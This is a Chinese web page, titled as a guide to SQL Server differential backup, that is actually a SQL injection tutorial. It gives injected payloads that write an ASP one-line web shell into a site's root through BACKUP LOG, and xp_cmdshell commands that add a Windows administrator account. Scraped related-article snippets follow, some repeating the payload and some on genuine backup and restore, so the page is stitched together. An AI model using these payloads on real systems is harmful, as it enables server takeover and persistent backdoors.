sqlserver 手工实现差异备份的步骤

手工实现差异备份的步骤

字符型:

1、恢复当前库
;alter database 当前库 set RECOVERY FULL--

2、建表cmd
;create table cmd (a image)--

3、备份当前库到D:\cmd1
;backup log 当前库 to disk = 'D:\cmd1' with init--

4、插入一句话代码到创建的表cmd
;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

5、备份一句话代码到站点根目录
;backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6、完成
;drop table 创建的表--

数字型

1、恢复当前库
';alter database 当前库 set RECOVERY FULL--

2、创建表cmd
';create table cmd (a image)--

3、备份当前库到D:\cmd1
';backup log 当前库 to disk = 'D:\cmd1' with init--

4、插入一句话代码到创建的表cmd
';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

5、备份一句话代码到站点根目录
';backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6、完成
';drop table 创建的表--

sa权限创建管理员用户

1、判断是否有注入;and 1=1 ;and 1=2 
;and user_name()='dbo' 判断当前系统的连接用户是不是sa

2、添加系统的管理员
;exec master.dbo.xp_cmdshell 'net user wk wk90/add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

逍遥复仇:有工具我是一定不会手工的,麻烦。

时间: 2024-10-17 04:52:23

sqlserver 手工实现差异备份的步骤的相关文章

sqlserver 手工实现差异备份的步骤_MsSql

手工实现差异备份的步骤 字符型: 1.恢复当前库;alter database 当前库 set RECOVERY FULL-- 2.建表cmd;create table cmd (a image)-- 3.备份当前库到D:\cmd1;backup log 当前库 to disk = 'D:\cmd1' with init-- 4.插入一句话代码到创建的表cmd;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25&

mssql数据库差异备份方法

手工实现差异备份的步骤 字符型: 1.恢复当前库 ;alter database 当前库 set recovery full-- 2.建表cmd ;create table cmd (a image)-- 3.备份当前库到d:cmd1 ;backup log 当前库 to disk = 'd:cmd1' with init-- 4.插入一句话代码到创建的表cmd ;insert into cmd (a) values ('<%%25**ecute(request("a"))%%2

详解SQL Server的差异备份还原

在SQL Server中还原差异备份,需要先还原在差异备份时间点之前的一个完整备份,在还原完整备份时要加上NORECOVERY参数,示例SQL语句如下: RESTORE DATABASE [数据库名称] FROM DISK = N'完整备份文件路径' WITH FILE = 1, NOUNLOAD, STATS = 10, NORECOVERY GO 在Management Studio中对应的选项是: Leave the database non-operational, and do not

SQL Server差异备份简介

此备份和还原主题与所有 SQL Server 数据库相关. 差异备份所基于的是最近一次的完整数据备份. 差异备份仅捕获自该次完整备份后发生更改的数据. 差异备份所基于的完整备份称为差异的"基准". 完整备份(仅复制备份除外)可以用作一系列差异备份的基准,包括数据库备份.部分备份和文件备份. 文件差异备份的基准备份可以包含在完整备份.文件备份或部分备份中. 本主题内容: 优点 差异备份概述 对只读数据库进行差异备份 相关任务 优点 与创建完整备份相比,创建差异备份的速度可能非常快. 差异

差异备份-mssql 全备+差备还原,求帮忙解决!坐等!急!!!

问题描述 mssql 全备+差备还原,求帮忙解决!坐等!急!!! 对数据库做全备与差备的周期性备份,现在要还原数据库,还原的步骤为:最新的全备一份+最新的差备一份,但是在点确认的时候跳出如图的错误提示: 请问该如何解决这个问题?谢谢!!! 解决方案 分享完整备份+差异备份还原数据库的方法:http://www.cnblogs.com/ivanyb/archive/2013/01/23/2873437.html 解决方案二: http://blog.sqlauthority.com/2009/09

SQL Server差异备份的备份/还原原理

原文:SQL Server差异备份的备份/还原原理 SQL Server差异备份的备份/还原原理 记住一点:差异备份是基于最后一次完整备份的差异,而不是基于最后一次差异的差异   备份过程: 1-完整备份之后有无对数据库做过修改,如果有,记录数据库的最后LSN(Last LSN) 如果完整备份之后无对数据库做过修改,那么差异备份就没有意义了   2-做差异备份时根据差异位图读取差异页面内容 注意:差异位图记录了自从最后一次完整备份以来数据库中有变化的页面,这样在做差异备份时候就不用扫全库页面,只

复习一下sql server的差异备份_MsSql

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!  差异备份的流程大概这样: 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';-- 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert in

360浏览器恢复历史备份图文步骤

  很多人在使用360浏览器时,都会对其进行备份,然而,有时候历史备份却不知道怎么恢复.今天,小编就来跟大家分享360浏览器恢复历史备份图文步骤. 360安全浏览器恢复历史备份的方法如下: 1.可通过"设置-网站列表"或"设置-高级设置"界面打开恢复历史备份页面. 2.在恢复历史备份页面,在希望恢复的历史版本那一项,点击"恢复"按钮即可进行恢复历史备份的操作.

win7一键备份系统步骤

  Win7无疑是目前最流行的操作系统,但是不适应该系统的朋友往往在使用中导致系统奔溃以及各种毛病,从而反复的重装系统.如果一有问题就重装,会对硬盘造成一定的损坏,那么小编告诉大家win7怎么一键备份系统来做好防御之策: Win7自带一键备份系统,win7一键备份系统步骤: 1:首先右键"计算机"点击属性,找到"系统保护"功能,如图1所示: 图1 2:在"系统属性"框中点击"创建"来建立还原点,如图2所示: 图2 3:在&qu